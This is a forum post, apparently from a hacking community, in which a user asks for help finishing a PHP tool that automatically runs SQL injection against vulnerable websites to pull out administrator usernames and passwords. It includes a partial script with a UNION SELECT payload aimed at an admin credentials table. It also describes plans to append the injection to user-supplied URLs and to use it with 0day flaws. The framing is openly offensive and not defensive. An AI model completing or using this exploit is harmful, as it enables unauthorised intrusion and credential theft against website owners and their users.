[VipVince]

I am getting into writing remote exploits to automatically perform SQL injections on vulnerable web servers, a manual way to retrieve login credentials without having to do the whole process again manually.

PHP Code:

<?php error_reporting(E_ALL); //report errors print "<h2>SQLi exploit</h2>"; //header message if(!empty($_GET['vulnwebsiteparameter name'])){ //if url paramater is not empty and has input print "<b>Scanning the vulnerability..."; //inform user that tool is scanning $injquery = "null UNION SELECT 1, 2,concat_ws(0x3c68633e,username,0x3a,0x3a,userpass,0x3c2f68633e),4 from admin_user_info--"; (this can change depending on the website) //SQL inject query to use against our vulnerable web paramater

Now I am not overly experienced with PHP, I was wondering how do I finish that code to perform a successful withdrawal of SQL info from a database? I am sure using Curl and setting CURLOPT_RETURNTRANSFER in curl_setopt(), so that curl_exec() will return the result of the request (client-side code) upon execution. I am unsure over all how to write it though but hopefully you get what I mean. I think the code I sent will work, I am just stuck with the connect and fetching the results and parsing via html etc has me a little stuck.

Finally I forgot to mention, it will also require taking the user input for the site and appending the inject query to the URL automatically, will work good for 0days on particular software in which the database SQLi string will be the same on databases using the vulnerable software. Hopefully somebody can help with this, can use an SQLi site for testing.